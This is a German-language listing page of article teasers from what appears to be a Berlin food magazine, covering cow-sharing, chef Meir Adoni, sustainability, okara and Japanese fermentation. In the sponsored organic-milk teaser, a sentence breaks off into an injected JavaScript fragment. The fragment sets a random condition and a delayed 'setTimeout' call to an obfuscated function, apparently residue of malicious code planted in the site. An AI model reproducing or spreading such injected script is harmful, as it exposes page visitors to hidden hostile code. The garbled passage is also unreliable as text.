Wieso neben Autos, Fahrrädern, Haushaltsgeräten oder Datschengrundstücken jetzt auch Kühe geteilt werden.
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Der Superstar der israelischen Küche Meir Adoni im Interview
Wer kocht hier eigentlich? In unserer Reihe „Wer steckt dahinter?“ schauen wir in die Küchen bekannter Restaurants, diesmal ins Layla in Berlin. Die Levante-Rezepte stammen von Koch Meir Adoni, so etwas wie der Jamie Oliver Israels. Für welche Gerichte er berühmt ist und was sein wichtigstes Werkzeug ist, beantwortet er uns in zehn schnellen Fragen.
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Käsekuchen, Flat White & Co. schmecken besser mit Bio-Milch
ANZEIGE | Auch wenn es in Berlin in vielen Cafés zahlreiche Milchalternativen gibt, ist ein Frühstück ohne Kuhmilch ist für viele kaum vorstellbar. Joghurt, Quark und Frischkäse gehören einfach dazu. Aber woher kommt gute Milch und wodurch wird ihr Geschmack beeinflusst? Wir haben uns im Berchtesgadener Landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and […]
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5 Start-ups mit guten Ideen zur Resteverwertung
Mittlerweile gibt es (glücklicherweise!) zahlreiche Initiativen, die sich gegen Lebensmittelverschwendung einsetzen. Diese fünf Start-ups geben Abfallprodukten ein zweites Leben.
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Food-Guide Mallorca – Sterneköche, bunte Märkte und süßes Gebäck
Hier verraten wir dir, welche Produkte und Restaurants du in Palma und Umgebung entdecken solltest.
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Wie aus dem Abfall der Sojaproduktion ein neues Lebensmittel wird
Schon mal was von Okara gehört? Klingt nach einer exotischen Destination, ist aber tatsächlich das Nebenprodukt der Sojamilch- und Tofu-Produktion. Eine mehlartige, feuchte Substanz, die nach dem Auspressen der Sojabohnen übrig bleibt. Das an Nährstoffen reiche Okara wurde in der traditionellen japanischen Küche viel eingesetzt.
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Im Restaurant nachhaltig bestellen – darauf kann man jetzt achten
Beim Essen gehen lässt sich auch etwas für die Umwelt tun. Worauf man achten sollte und welche Lösungen es inzwischen gibt, verraten wir hier.
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Lang lebe Stracciatella-Eis!
Stracciatella-Eis schmeckt nicht nur gut, sondern auch nach Kindheit. In den hippen Eisdielen der Großstädte ist für die Sorte scheinbar kein Platz mehr. Ein Kommentar
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Miso, Koji und Co.: Berliner Spitzenköche setzen auf Fermentiertes aus Japan
Schimmel in der Küche klingt eklig? Sollte es nicht per se. Denn richtig eingesetzt sorgen Bakterien für ganz neue Geschmackserlebnisse.
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